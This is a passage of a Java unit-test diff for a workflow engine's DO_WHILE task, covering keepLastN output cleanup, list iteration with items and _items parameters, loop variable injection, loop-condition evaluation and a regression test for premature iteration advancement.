task.setReferenceTaskName("loopTask" + taskNum + "__" + iteration); + task.setIteration(iteration); + task.setTaskType("SIMPLE"); + task.setStatus(TaskModel.Status.COMPLETED); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("loopTask" + taskNum); + task.setWorkflowTask(workflowTask); + + allTasks.add(task); + } + } + + workflow.setTasks(allTasks); + return workflow; + } + + private TaskModel createDoWhileTask() { + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("do-while-task"); + doWhileTask.setReferenceTaskName("doWhileTask"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + + // Create workflow task with loopOver definition + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("doWhileTask"); + workflowTask.setType("DO_WHILE"); + + // Add loop over tasks + List loopOverTasks = new ArrayList<>(); + for (int i = 1; i <= 5; i++) { + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setTaskReferenceName("loopTask" + i); + loopOverTasks.add(loopTask); + } + workflowTask.setLoopOver(loopOverTasks); + + // Set input parameters with keepLastN + Map inputParams = new HashMap<>(); + inputParams.put("keepLastN", 3); + workflowTask.setInputParameters(inputParams); + + doWhileTask.setWorkflowTask(workflowTask); + return doWhileTask; + } + + private TaskModel getDoWhileTask(WorkflowModel workflow) { + return workflow.getTasks().stream() + .filter(t -> "DO_WHILE".equals(t.getTaskType())) + .findFirst() + .orElseThrow(() -> new IllegalStateException("No DO_WHILE task found")); + } + + @Test + public void testKeepLastN_OutputCleanup_RemovesCorrectKeys() { + // Verifies that the in-memory output key cleanup removes keys "1".."N-keepLastN" + // and retains the most recent keepLastN iterations. + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List items = List.of("a", "b", "c", "d"); + workflowInput.put("items", items); + workflow.setInput(workflowInput); + + // Build a minimal DO_WHILE task with 1 loop task and keepLastN=2 + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("dw-keepLastN"); + doWhileTask.setReferenceTaskName("dw"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + doWhileTask.setIteration(3); // completing iteration 3 now + + WorkflowTask wft = new WorkflowTask(); + wft.setTaskReferenceName("dw"); + wft.setType("DO_WHILE"); + wft.setItems("${workflow.input.items}"); + + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setTaskReferenceName("t1"); + wft.setLoopOver(List.of(loopTask)); + + Map inputParams = new HashMap<>(); + inputParams.put("keepLastN", 2); + wft.setInputParameters(inputParams); + doWhileTask.setWorkflowTask(wft); + + // Pre-populate output keys "1" and "2" (from previous iterations) + doWhileTask.addOutput("1", Map.of("t1", "result1")); + doWhileTask.addOutput("2", Map.of("t1", "result2")); + + // Set up the completed loop task for iteration 3 + TaskModel completedTask = new TaskModel(); + completedTask.setTaskId("t1-iter3"); + completedTask.setReferenceTaskName("t1__3"); + completedTask.setIteration(3); + completedTask.setStatus(TaskModel.Status.COMPLETED); + completedTask.setWorkflowTask(loopTask); + + List tasks = new ArrayList<>(); + tasks.add(doWhileTask); + tasks.add(completedTask); + workflow.setTasks(tasks); + + doWhile.execute(workflow, doWhileTask, workflowExecutor); + + // iteration=3, keepLastN=2 → should remove key "1", keep "2" and "3" + assertFalse( + "Output key '1' should have been removed by keepLastN cleanup", + doWhileTask.getOutputData().containsKey("1")); + assertTrue( + "Output key '2' should be retained", doWhileTask.getOutputData().containsKey("2")); + assertTrue( + "Output key '3' should be retained (just added)", + doWhileTask.getOutputData().containsKey("3")); + } + + @Test + public void testExecute_NonEmptyItemsList_SchedulesFirstIteration() { + // Regression test: non-empty items list must still schedule iteration 1. + WorkflowModel workflow = createWorkflowWithDef(); + workflow.setTasks(new ArrayList<>()); + + Map workflowInput = new HashMap<>(); + workflowInput.put("itemList", List.of("x", "y", "z")); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.itemList}"); + doWhileTask.getWorkflowTask().setLoopCondition(null); + workflow.getTasks().add(doWhileTask); + + boolean result = doWhile.execute(workflow, doWhileTask, workflowExecutor); + + assertTrue("execute() should return true when scheduling first iteration", result); + assertNotEquals( + "Task should NOT be COMPLETED — iteration 1 must be scheduled", + TaskModel.Status.COMPLETED, + doWhileTask.getStatus()); + assertEquals("Iteration should be set to 1", 1, doWhileTask.getIteration()); + verify(workflowExecutor, times(1)).scheduleNextIteration(any(), any()); + } + + @Test + public void testKeepLastN_OutputCleanup_RemovesMultipleKeys() { + // At iteration=5, keepLastN=2: should remove "1","2","3" and retain "4","5". + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List items = List.of("a", "b", "c", "d", "e", "f"); + workflowInput.put("items", items); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("dw-keepLastN-multi"); + doWhileTask.setReferenceTaskName("dw"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + doWhileTask.setIteration(5); + + WorkflowTask wft = new WorkflowTask(); + wft.setTaskReferenceName("dw"); + wft.setType("DO_WHILE"); + wft.setItems("${workflow.input.items}"); + + WorkflowTask loopTask = new WorkflowTask(); + loopTask.setTaskReferenceName("t1"); + wft.setLoopOver(List.of(loopTask)); + + Map inputParams = new HashMap<>(); + inputParams.put("keepLastN", 2); + wft.setInputParameters(inputParams); + doWhileTask.setWorkflowTask(wft); + + // Pre-populate output keys "1" through "4" + doWhileTask.addOutput("1", Map.of("t1", "r1")); + doWhileTask.addOutput("2", Map.of("t1", "r2")); + doWhileTask.addOutput("3", Map.of("t1", "r3")); + doWhileTask.addOutput("4", Map.of("t1", "r4")); + + TaskModel completedTask = new TaskModel(); + completedTask.setTaskId("t1-iter5"); + completedTask.setReferenceTaskName("t1__5"); + completedTask.setIteration(5); + completedTask.setStatus(TaskModel.Status.COMPLETED); + completedTask.setWorkflowTask(loopTask); + + List tasks = new ArrayList<>(); + tasks.add(doWhileTask); + tasks.add(completedTask); + workflow.setTasks(tasks); + + doWhile.execute(workflow, doWhileTask, workflowExecutor); + + // rangeClosed(1, 5-2) → removes "1","2","3"; keeps "4","5" + assertFalse("Key '1' should be removed", doWhileTask.getOutputData().containsKey("1")); + assertFalse("Key '2' should be removed", doWhileTask.getOutputData().containsKey("2")); + assertFalse("Key '3' should be removed", doWhileTask.getOutputData().containsKey("3")); + assertTrue("Key '4' should be retained", doWhileTask.getOutputData().containsKey("4")); + assertTrue( + "Key '5' should be retained (just added)", + doWhileTask.getOutputData().containsKey("5")); + } + + // List iteration tests + + @Test + public void testIsListIteration_WithItemsParameter_ReturnsTrue() { + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.myList}"); + + assertTrue( + "Should identify as list iteration when items parameter is set", + doWhile.isListIteration(doWhileTask)); + } + + @Test + public void testIsListIteration_WithoutItemsParameter_ReturnsFalse() { + TaskModel doWhileTask = createDoWhileTask(); + // No items parameter set + + assertFalse( + "Should not identify as list iteration when items parameter is not set", + doWhile.isListIteration(doWhileTask)); + } + + @Test + public void testIsListIteration_WithEmptyItemsParameter_ReturnsFalse() { + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems(" "); + + assertFalse( + "Should not identify as list iteration when items parameter is empty", + doWhile.isListIteration(doWhileTask)); + } + + @Test + public void testEvaluateItemsList_WithValidList_ReturnsCorrectItems() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with a list + Map workflowInput = new HashMap<>(); + List itemsList = List.of("item1", "item2", "item3"); + workflowInput.put("myList", itemsList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.myList}"); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertEquals("Should return correct number of items", 3, result.size()); + assertEquals("Should have correct first item", "item1", result.get(0)); + assertEquals("Should have correct second item", "item2", result.get(1)); + assertEquals("Should have correct third item", "item3", result.get(2)); + } + + @Test + public void testEvaluateItemsList_WithEmptyList_ReturnsEmptyList() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + workflowInput.put("myList", new ArrayList<>()); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.myList}"); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertTrue("Should return empty list for empty input", result.isEmpty()); + } + + @Test + public void testEvaluateItemsList_WithNullItems_ReturnsEmptyList() { + WorkflowModel workflow = createWorkflowWithDef(); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems(null); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertTrue("Should return empty list for null items parameter", result.isEmpty()); + } + + @Test + public void testInjectLoopVariables_InjectsCorrectValues() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with a list + Map workflowInput = new HashMap<>(); + List itemsList = List.of("apple", "banana", "cherry"); + workflowInput.put("fruits", itemsList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.fruits}"); + doWhileTask.setIteration(2); // Second iteration (loopIndex = 1) + + doWhile.injectLoopVariables(workflow, doWhileTask); + + // Verify loopIndex is injected (0-based) + assertEquals("loopIndex should be 1", 1, doWhileTask.getOutputData().get("loopIndex")); + + // Verify loopItem is injected + assertEquals( + "loopItem should be 'banana'", + "banana", + doWhileTask.getOutputData().get("loopItem")); + } + + @Test + public void testInjectLoopVariables_FirstIteration() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of(10, 20, 30); + workflowInput.put("numbers", itemsList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.numbers}"); + doWhileTask.setIteration(1); // First iteration (loopIndex = 0) + + doWhile.injectLoopVariables(workflow, doWhileTask); + + assertEquals("loopIndex should be 0", 0, doWhileTask.getOutputData().get("loopIndex")); + assertEquals("loopItem should be 10", 10, doWhileTask.getOutputData().get("loopItem")); + } + + @Test + public void testInjectLoopVariables_DoesNothingForCounterBased() { + WorkflowModel workflow = createWorkflowWithDef(); + + TaskModel doWhileTask = createDoWhileTask(); + // No items parameter set - counter-based iteration + doWhileTask.setIteration(3); + + Map outputBefore = new HashMap<>(doWhileTask.getOutputData()); + doWhile.injectLoopVariables(workflow, doWhileTask); + Map outputAfter = new HashMap<>(doWhileTask.getOutputData()); + + assertFalse( + "Should not inject loopIndex for counter-based loops", + outputAfter.containsKey("loopIndex")); + assertFalse( + "Should not inject loopItem for counter-based loops", + outputAfter.containsKey("loopItem")); + } + + @Test + public void testEvaluateCondition_ListIteration_ContinuesUntilEnd() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of("a", "b", "c"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.items}"); + doWhileTask.getWorkflowTask().setLoopCondition(null); // No additional condition + + // Test iteration 1 (loopIndex=0) - should continue + doWhileTask.setIteration(1); + assertTrue( + "Should continue after first iteration", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 2 (loopIndex=1) - should continue + doWhileTask.setIteration(2); + assertTrue( + "Should continue after second iteration", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 3 (loopIndex=2) - should stop (last item) + doWhileTask.setIteration(3); + assertFalse( + "Should stop after last iteration", + doWhile.evaluateCondition(workflow, doWhileTask)); + } + + @Test + public void testEvaluateCondition_ListIteration_WithCustomCondition() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of(5, 10, 15, 20); + workflowInput.put("numbers", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.numbers}"); + // Custom condition: continue only if loopItem < 15 + doWhileTask.getWorkflowTask().setLoopCondition("$.loopItem < 15"); + + // Test iteration 1 (loopIndex=0, loopItem=5) - should continue + doWhileTask.setIteration(1); + assertTrue( + "Should continue when loopItem < 15", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 2 (loopIndex=1, loopItem=10) - should continue + doWhileTask.setIteration(2); + assertTrue( + "Should continue when loopItem < 15", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 3 (loopIndex=2, loopItem=15) - should stop (condition false) + doWhileTask.setIteration(3); + assertFalse( + "Should stop when loopItem >= 15", + doWhile.evaluateCondition(workflow, doWhileTask)); + } + + @Test + public void testEvaluateCondition_CounterBased_BackwardCompatibility() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + workflowInput.put("maxIterations", 3); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + // No items parameter - counter-based iteration + doWhileTask.getWorkflowTask().setLoopCondition("$.doWhileTask.iteration < 3"); + + // Test iteration 1 - should continue + doWhileTask.setIteration(1); + doWhileTask.addOutput("iteration", 1); + assertTrue( + "Should continue counter-based loop", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 3 - should stop + doWhileTask.setIteration(3); + doWhileTask.addOutput("iteration", 3); + assertFalse( + "Should stop counter-based loop", doWhile.evaluateCondition(workflow, doWhileTask)); + } + + // Orkes compatibility tests (_items in inputParameters) + + @Test + public void testIsListIteration_WithOrkesItemsParameter_ReturnsTrue() { + TaskModel doWhileTask = createDoWhileTask(); + // Orkes approach: _items in inputParameters + Map inputParams = new HashMap<>(); + inputParams.put("_items", "${workflow.input.myList}"); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + assertTrue( + "Should identify as list iteration when _items parameter is set", + doWhile.isListIteration(doWhileTask)); + } + + @Test + public void testEvaluateItemsList_WithOrkesItemsParameter_ReturnsCorrectItems() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with a list + Map workflowInput = new HashMap<>(); + List itemsList = List.of("orkes1", "orkes2", "orkes3"); + workflowInput.put("myList", itemsList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + // Orkes approach: _items in inputParameters + Map inputParams = new HashMap<>(); + inputParams.put("_items", "${workflow.input.myList}"); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertEquals("Should return correct number of items", 3, result.size()); + assertEquals("Should have correct first item", "orkes1", result.get(0)); + assertEquals("Should have correct second item", "orkes2", result.get(1)); + assertEquals("Should have correct third item", "orkes3", result.get(2)); + } + + @Test + public void testItemsPriority_OSSFieldOverOrkesParameter() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with two different lists + Map workflowInput = new HashMap<>(); + List ossList = List.of("oss1", "oss2"); + List orkesList = List.of("orkes1", "orkes2", "orkes3"); + workflowInput.put("ossList", ossList); + workflowInput.put("orkesList", orkesList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + // Set both: items field (OSS) and _items in inputParameters (Orkes) + doWhileTask.getWorkflowTask().setItems("${workflow.input.ossList}"); + + Map inputParams = new HashMap<>(); + inputParams.put("_items", "${workflow.input.orkesList}"); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + // Should prefer OSS approach (items field) over Orkes approach (_items parameter) + assertEquals("Should use OSS items field (priority)", 2, result.size()); + assertEquals("Should have OSS item", "oss1", result.get(0)); + assertEquals("Should have OSS item", "oss2", result.get(1)); + } + + @Test + public void testInjectLoopVariables_WithOrkesItemsParameter() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with a list + Map workflowInput = new HashMap<>(); + List itemsList = List.of("orkes-a", "orkes-b", "orkes-c"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + // Orkes approach: _items in inputParameters + Map inputParams = new HashMap<>(); + inputParams.put("_items", "${workflow.input.items}"); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + doWhileTask.setIteration(2); // Second iteration (loopIndex = 1) + + doWhile.injectLoopVariables(workflow, doWhileTask); + + // Verify loopIndex is injected (0-based) + assertEquals("loopIndex should be 1", 1, doWhileTask.getOutputData().get("loopIndex")); + + // Verify loopItem is injected + assertEquals( + "loopItem should be 'orkes-b'", + "orkes-b", + doWhileTask.getOutputData().get("loopItem")); + } + + // Additional functionality tests + + @Test + public void testEvaluateItemsList_WithArray_ReturnsCorrectItems() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with an array + Map workflowInput = new HashMap<>(); + String[] itemsArray = new String[] {"array1", "array2", "array3"}; + workflowInput.put("myArray", itemsArray); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.myArray}"); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertEquals("Should return correct number of items from array", 3, result.size()); + assertEquals("Should have correct first item", "array1", result.get(0)); + assertEquals("Should have correct second item", "array2", result.get(1)); + assertEquals("Should have correct third item", "array3", result.get(2)); + } + + @Test + public void testEvaluateCondition_ListIteration_WithComplexObjects() { + WorkflowModel workflow = createWorkflowWithDef(); + + // Set up workflow input with complex objects + Map workflowInput = new HashMap<>(); + List> itemsList = new ArrayList<>(); + + Map item1 = new HashMap<>(); + item1.put("id", 1); + item1.put("status", "PENDING"); + itemsList.add(item1); + + Map item2 = new HashMap<>(); + item2.put("id", 2); + item2.put("status", "ACTIVE"); + itemsList.add(item2); + + Map item3 = new HashMap<>(); + item3.put("id", 3); + item3.put("status", "FAILED"); + itemsList.add(item3); + + workflowInput.put("tasks", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.tasks}"); + // Continue until we hit a FAILED task + doWhileTask.getWorkflowTask().setLoopCondition("$.loopItem.status != 'FAILED'"); + + // Test iteration 1 (item1: status=PENDING) - should continue + doWhileTask.setIteration(1); + assertTrue( + "Should continue when status is PENDING", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 2 (item2: status=ACTIVE) - should continue + doWhileTask.setIteration(2); + assertTrue( + "Should continue when status is ACTIVE", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 3 (item3: status=FAILED) - should stop + doWhileTask.setIteration(3); + assertFalse( + "Should stop when status is FAILED", + doWhile.evaluateCondition(workflow, doWhileTask)); + } + + @Test + public void testEvaluateCondition_ListIteration_WithLoopIndex() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of("a", "b", "c", "d", "e"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.items}"); + // Process only first 3 items using loopIndex + doWhileTask.getWorkflowTask().setLoopCondition("$.loopIndex < 2"); + + // Test iteration 1 (loopIndex=0) - should continue + doWhileTask.setIteration(1); + assertTrue( + "Should continue when loopIndex=0", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 2 (loopIndex=1) - should continue + doWhileTask.setIteration(2); + assertTrue( + "Should continue when loopIndex=1", + doWhile.evaluateCondition(workflow, doWhileTask)); + + // Test iteration 3 (loopIndex=2) - should stop (condition false) + doWhileTask.setIteration(3); + assertFalse( + "Should stop when loopIndex=2", doWhile.evaluateCondition(workflow, doWhileTask)); + } + + @Test + public void testListIteration_WithSingleItem_WorksCorrectly() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of("single-item"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.items}"); + doWhileTask.getWorkflowTask().setLoopCondition(null); // No additional condition + + // Test iteration 1 (loopIndex=0, only item) - should stop (no more items) + doWhileTask.setIteration(1); + assertFalse( + "Should stop after single item", doWhile.evaluateCondition(workflow, doWhileTask)); + + // Verify loopItem and loopIndex are still injected correctly + doWhile.injectLoopVariables(workflow, doWhileTask); + assertEquals("loopIndex should be 0", 0, doWhileTask.getOutputData().get("loopIndex")); + assertEquals( + "loopItem should be 'single-item'", + "single-item", + doWhileTask.getOutputData().get("loopItem")); + } + + @Test + public void testEvaluateItemsList_WithDirectListValue_NoExpression() { + WorkflowModel workflow = createWorkflowWithDef(); + + TaskModel doWhileTask = createDoWhileTask(); + // Direct list value in _items (not a workflow expression) + Map inputParams = new HashMap<>(); + List directList = List.of("direct1", "direct2", "direct3"); + inputParams.put("_items", directList); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + List result = doWhile.evaluateItemsList(workflow, doWhileTask); + + assertEquals("Should return correct number of items", 3, result.size()); + assertEquals("Should have correct first item", "direct1", result.get(0)); + assertEquals("Should have correct second item", "direct2", result.get(1)); + assertEquals("Should have correct third item", "direct3", result.get(2)); + } + + // Integration test: List iteration with keepLastN cleanup (Phase 1) + + @Test + public void testListIteration_WithKeepLastN_WorksTogether() { + // This test verifies that list iteration works correctly with Phase 1's keepLastN cleanup + // Create workflow with 10 iterations, keep last 3 + WorkflowModel workflow = createWorkflowWithIterations(10, 3); + TaskModel doWhileTask = getDoWhileTask(workflow); + + // Set up list iteration on the DO_WHILE task + Map workflowInput = new HashMap<>(); + List itemsList = List.of("item1", "item2", "item3", "item4", "item5"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + workflow.setWorkflowDefinition(createWorkflowWithDef().getWorkflowDefinition()); + + // Configure for list iteration with keepLastN + doWhileTask.getWorkflowTask().setItems("${workflow.input.items}"); + Map inputParams = new HashMap<>(); + inputParams.put("keepLastN", 3); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + + doWhileTask.setIteration(10); + + // Verify isListIteration detects it correctly + assertTrue( + "Should detect as list iteration even with keepLastN", + doWhile.isListIteration(doWhileTask)); + + // Verify evaluateItemsList works with keepLastN present + List items = doWhile.evaluateItemsList(workflow, doWhileTask); + assertEquals("Should evaluate items list correctly", 5, items.size()); + + // Verify injectLoopVariables works with keepLastN + doWhileTask.setIteration(2); + doWhile.injectLoopVariables(workflow, doWhileTask); + assertEquals( + "loopIndex should be injected correctly", + 1, + doWhileTask.getOutputData().get("loopIndex")); + assertEquals( + "loopItem should be injected correctly", + "item2", + doWhileTask.getOutputData().get("loopItem")); + + // Execute cleanup (from Phase 1) and verify it doesn't interfere + doWhileTask.setIteration(10); + doWhile.removeIterations(workflow, doWhileTask, 3); + + // Should remove 7 iterations * 3 tasks = 21 tasks + verify(executionDAOFacade, times(21)).removeTask(anyString()); + + // Verify list iteration still works after cleanup + assertTrue( + "List iteration should still work after keepLastN cleanup", + doWhile.isListIteration(doWhileTask)); + List itemsAfterCleanup = doWhile.evaluateItemsList(workflow, doWhileTask); + assertEquals("Items list should be unchanged after cleanup", 5, itemsAfterCleanup.size()); + } + + @Test + public void testListIteration_ExceedsListSize_StopsGracefully() { + WorkflowModel workflow = createWorkflowWithDef(); + + Map workflowInput = new HashMap<>(); + List itemsList = List.of("item1", "item2", "item3"); + workflowInput.put("items", itemsList); + workflow.setInput(workflowInput); + workflow.setTasks(new ArrayList<>()); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.items}"); + doWhileTask.getWorkflowTask().setLoopCondition(null); + + // Test iteration beyond list size (iteration 5, but only 3 items) + doWhileTask.setIteration(5); + + // Should handle gracefully without errors + boolean shouldContinue = doWhile.evaluateCondition(workflow, doWhileTask); + + // Should return false (stop) since we're beyond the list + assertFalse("Should stop when iteration exceeds list size", shouldContinue); + } + + @Test + public void testExecute_EmptyItemsList_CompletesWithoutSchedulingIteration() { + // Issue #876: DO_WHILE with an empty items list should complete immediately + // without scheduling or executing any loop tasks. + WorkflowModel workflow = createWorkflowWithDef(); + workflow.setTasks(new ArrayList<>()); + + Map workflowInput = new HashMap<>(); + workflowInput.put("itemList", new ArrayList<>()); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + doWhileTask.getWorkflowTask().setItems("${workflow.input.itemList}"); + doWhileTask.getWorkflowTask().setLoopCondition(null); + workflow.getTasks().add(doWhileTask); + + boolean result = doWhile.execute(workflow, doWhileTask, workflowExecutor); + + assertTrue("execute() should return true when completing immediately", result); + assertEquals( + "Task should be COMPLETED when items list is empty", + TaskModel.Status.COMPLETED, + doWhileTask.getStatus()); + assertEquals( + "iteration output should be 0 for empty items list", + 0, + doWhileTask.getOutputData().get("iteration")); + verify(workflowExecutor, never()).scheduleNextIteration(any(), any()); + } + + @Test + public void testExecute_EmptyItemsList_OrkesCompat_CompletesWithoutSchedulingIteration() { + // Issue #876: same behavior when using _items in inputParameters (Orkes compat) + WorkflowModel workflow = createWorkflowWithDef(); + workflow.setTasks(new ArrayList<>()); + + Map workflowInput = new HashMap<>(); + workflowInput.put("itemList", new ArrayList<>()); + workflow.setInput(workflowInput); + + TaskModel doWhileTask = createDoWhileTask(); + Map inputParams = new HashMap<>(); + inputParams.put("_items", "${workflow.input.itemList}"); + doWhileTask.getWorkflowTask().setInputParameters(inputParams); + doWhileTask.getWorkflowTask().setLoopCondition(null); + workflow.getTasks().add(doWhileTask); + + boolean result = doWhile.execute(workflow, doWhileTask, workflowExecutor); + + assertTrue("execute() should return true when completing immediately", result); + assertEquals( + "Task should be COMPLETED when _items list is empty", + TaskModel.Status.COMPLETED, + doWhileTask.getStatus()); + assertEquals( + "iteration output should be 0 for empty items list", + 0, + doWhileTask.getOutputData().get("iteration")); + verify(workflowExecutor, never()).scheduleNextIteration(any(), any()); + } + + // ------------------------------------------------------------------------- + // Issue #895 / #1001: DO_WHILE + SWITCH + sync system task premature iteration advancement + // Root cause: intra-loop ordering in decide(). INLINE (and other sync system tasks) share the + // outcome.tasksToBeScheduled loop with DO_WHILE. If an INLINE task appears before DO_WHILE in + // that list (dependent on workflow.getTasks() / DB row order), it completes in memory before + // the decider has run to schedule its successor. The pre-fix code saw all present tasks as + // terminal and declared the iteration complete, advancing prematurely. + // ------------------------------------------------------------------------- + + /** + * Regression test for GitHub issue #895. + * + *

    Scenario: DO_WHILE.loopOver = [SWITCH], SWITCH.defaultCase = [task1, inlineTask(INLINE), + * task2]. INLINE is a sync system task — it completes inside execute() in the same + * decide()-loop iteration as DO_WHILE. If INLINE appears before DO_WHILE in + * workflow.getTasks(), it is COMPLETED when DO_WHILE evaluates but its successor (task2) has + * not yet been scheduled. isIterationComplete must return false in this state. + */ + @Test + public void testExecute_SwitchWithInlineTask_DoesNotAdvanceIterationUntilSuccessorScheduled() { + // Build workflow-task definitions + WorkflowTask task1Def = new WorkflowTask(); + task1Def.setTaskReferenceName("task1"); + task1Def.setType("SIMPLE"); + + // INLINE is a sync OSS system task: execute() always sets COMPLETED inline. + WorkflowTask inlineTaskDef = new WorkflowTask(); + inlineTaskDef.setTaskReferenceName("inline_task"); + inlineTaskDef.setType("INLINE"); + + WorkflowTask task2Def = new WorkflowTask(); + task2Def.setTaskReferenceName("task2"); + task2Def.setType("SIMPLE"); + + WorkflowTask switchDef = new WorkflowTask(); + switchDef.setTaskReferenceName("switchTask"); + switchDef.setType("SWITCH"); + switchDef.setDefaultCase(List.of(task1Def, inlineTaskDef, task2Def)); + + WorkflowTask doWhileDef = new WorkflowTask(); + doWhileDef.setTaskReferenceName("loopTask"); + doWhileDef.setType("DO_WHILE"); + doWhileDef.setLoopOver(List.of(switchDef)); + doWhileDef.setLoopCondition("$.loopTask['iteration'] < 2"); + + // Build the DO_WHILE task model + TaskModel doWhileTask = new TaskModel(); + doWhileTask.setTaskId("dw-task-id"); + doWhileTask.setReferenceTaskName("loopTask"); + doWhileTask.setTaskType("DO_WHILE"); + doWhileTask.setStatus(TaskModel.Status.IN_PROGRESS); + doWhileTask.setIteration(1); + doWhileTask.setWorkflowTask(doWhileDef); + doWhileTask.addOutput("iteration", 1); + + // Build SWITCH task model (COMPLETED, with hasChildren set) + TaskModel switchTask = new TaskModel(); + switchTask.setTaskId("switch-task-id"); + switchTask.setReferenceTaskName("switchTask__1"); + switchTask.setTaskType("SWITCH"); + switchTask.setStatus(TaskModel.Status.COMPLETED); + switchTask.setIteration(1); + switchTask.setWorkflowTask(switchDef); + switchTask.getInputData().put("hasChildren", "true"); + + // Build task1 model (COMPLETED) + TaskModel task1 = new TaskModel(); + task1.setTaskId("task1-id"); + task1.setReferenceTaskName("task1__1"); + task1.setTaskType("SIMPLE"); + task1.setStatus(TaskModel.Status.COMPLETED); + task1.setIteration(1); + task1.setWorkflowTask(task1Def); + + // inlineTask is COMPLETED — it executed first in the decide() loop. + TaskModel inlineTask = new TaskModel(); + inlineTask.setTaskId("inline-task-id"); + inlineTask.setReferenceTaskName("inline_task__1"); + inlineTask.setTaskType("INLINE"); + inlineTask.setStatus(TaskModel.Status.COMPLETED); + 